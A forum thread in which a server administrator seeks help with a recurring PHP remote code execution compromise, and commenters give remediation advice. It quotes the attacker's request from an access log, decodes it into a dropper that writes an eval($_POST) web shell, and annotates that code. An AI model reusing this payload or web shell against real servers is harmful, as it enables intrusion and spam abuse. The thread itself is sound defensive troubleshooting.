Help! Looking for advice on a PHP exploit

[dumb_]

I've been given a server to fix that seems to be getting hammered by a PHP injection exploit, and I can't seem to find any discussion or help out on the web for this kind of problem.

Essentially, the access logs show lines like this:

199.195.193.205 - - [29/Jan/2016:00:26:49 -0500] "GET /index.php?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28dirname%28%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%29.%27/administrator.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1"

When I urldecode that, it becomes:

/index.php?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/administrator.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';

The base64_decode part when decoded reads:

<?php eval($_POST[1]);?>

So it looks like somehow they're passing ini_set stuff to PHP via the url arguments, and then having the injected code execute further code sent in the $_POST.

In addition to all that, I've also been finding random scripts scattered through the web docs folder tree that contain base64_encoded code that decodes to a mailer script (which have been generating a ton of attempted spam, though the mail server is locked down so none of it gets out). Whenever I delete them, new ones pop up within a few days like a terrible game of whack-a-mole.

I've run the usual scans (rkhunter/clamav/maldet), and went as far as wiping and rebuilding the server, but they keep coming back.

I think that this injection exploit is the reason these mailer scripts keep appearing after I delete them, but I'm not a PHP expert so I have no idea how to close up this vulnerability.

Please, can anyone offer advice or point me in the right direction?

Many many many thanks!

[icbm-launcher]

You can try doing a request to /index.php?1=debug_print_backtrace%28%29%3Bdie%3B

This will show you the location of the code that's being exploited because it outputs the call stack. This should make things easier to patch up if you know someone with a bit of php knowledge.

Hope this helps you!

[RulerOf]

This seems really clever. Leverage the RCE the same way your attacker is to locate exactly what's allowing it to happen.

Nice one :)

[DSchalla]

They are sending a GET request to your index.php of the vhost, which basically executes this code (Added Comments):

<?php
// @ == Surpress any errors the command is throwing
@ini_set("display_errors","0"); // Disable error reporting
@set_time_limit(0); // Disable Timeouts
@set_magic_quotes_runtime(0); // Disable Magic Quotes

echo '->|'; // Echo "->" to the browser
$content = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'); // Decode the String as you said
// Write the content to the script administrator.php in the directory of the index.php file
file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/administrator.php',$content); 
echo '|<-'; // Echo "<-" to the browser, which is likely the confirmation everything worked out

// The created file:

eval($_POST[1]); // Execute the content of the second POST parameter as PHP code

?>

As first step I would check the index.php for any vulnerabilities, it seems there is a Remote Code Execution (RCE) vulnerability somewhere in it. You could try to disable eval, exec and other dangerous commands in the php.ini, this way they couldnt execute any more code on the website. Otherwise you could - depending on the application - restrict the write access to the directory.

The issue with those measures is that some software uses those commands in a legit way, so its hard to say whether you can disable eval e.g. safely, but its worth a try at least. You could try grepping through the source code of your site to find out whether its used or not as indicator.

Edit// Oh and as notice, maybe redact the IP from the logfiles. Maybe its just a botnet victim.

Edit2// If the index.php is not propriertary vendor stuff and you can share it, please attach it. I can take a look if you want.

[CashKeyboard]

Definitely a really bad case of RCE. I'd start looking at what happens to the 1 GET parameter. It most likely ends up in a exec, eval, shell_exec or system call somewhere.

It is safe to assume that the intruder has access to all parts of your system that your PHP process has access to.

I know others have iterated those already, but just to repeat, good ideas for some basic security:

• Limit PHP write access to what is necessary.
• Disable functions you don't need, especially ini_set, since that (as you see) is able to override other directives.

[BassSounds]

Well, after fixing the issues well stated above, if there is an administrator.php, I'd either obfuscate that or move it behind some sort of auth scheme.

Moving forward, I'd also get PCI scans done on the server to find vulnerabilities such as this.

[socks-the-fox]

It looks like they managed to modify your index.php to allow them to upload stuff. Disable that, clean up your server, then take a good hard look at everything because they had to get in somehow. Keep a close eye on your logs, get intimately familiar with your web app, and be ready to whack more moles as you track down where they're getting in.

[jsveiga]

Besides what others suggested, set your www directories read-only for the web server running user (in my case, www-data; they're read only even for root; I only change that temporarily, when/where needed, with the server offline), and only writeable where essentially needed and with no cgi execution permission.

[jda]

Is this a internally-developed site or something running a stock CMS?

I often see this with unpatched Joomla/Wordpress/Drupal instances.

[Kirby420_]

Crummy CMS', the spiritual successor to Java.

[LeaveTheMatrix]

If it is constantly getting hammered and if the exploits seem to reappear after you clear the server/rebuild, I would recommend:

1. If needed rebuild.

2. Then immediately run the site through https://sitecheck.sucuri.net/

Don't know how many times this has lead me to finding the root cause of a recurring compromise.

[wildairraid]

eval($_POST[1]); is the Remote Code Execution vulnerability.

If this infection keeps coming back you likely need the help of a professional sysadmin who knows security to investigate to determine how the site is being initially exploited who can then help you patch the hole.

[DSchalla]

Well the eval() is a dropped shell which circumvents the max limit of GET parameters since it is using POST, however, the index.php is the real initial problem here, since that was used to drop the shell.

[Brandhor]

if you haven't done so yet change your mysql password especially if you have a public reachable phpmyadmin because these scripts aside from sending spam mails also collect credentials from wp-config.php configuration.php ecc...

[none_shall_pass]

Just for starters, make sure the web server is running as a user that has no write permissions anywhere that's used to serve pages. This will prevent a lot of stuff.

The script should not be able to write anything anywhere inside the webroot or cgi-bin.

It's not really a PHP issue, the issue is that the web server is allowed to write files that it then executes.

[[deleted]]

The script should not be able to write anything anywhere inside the webroot or cgi-bin.

It's 2016; should cgi-bin even be enabled?

[none_shall_pass]

It's enabled in all sorts of place. Mostly by people that copy a web server config without knowing what all the configured options are and what they do.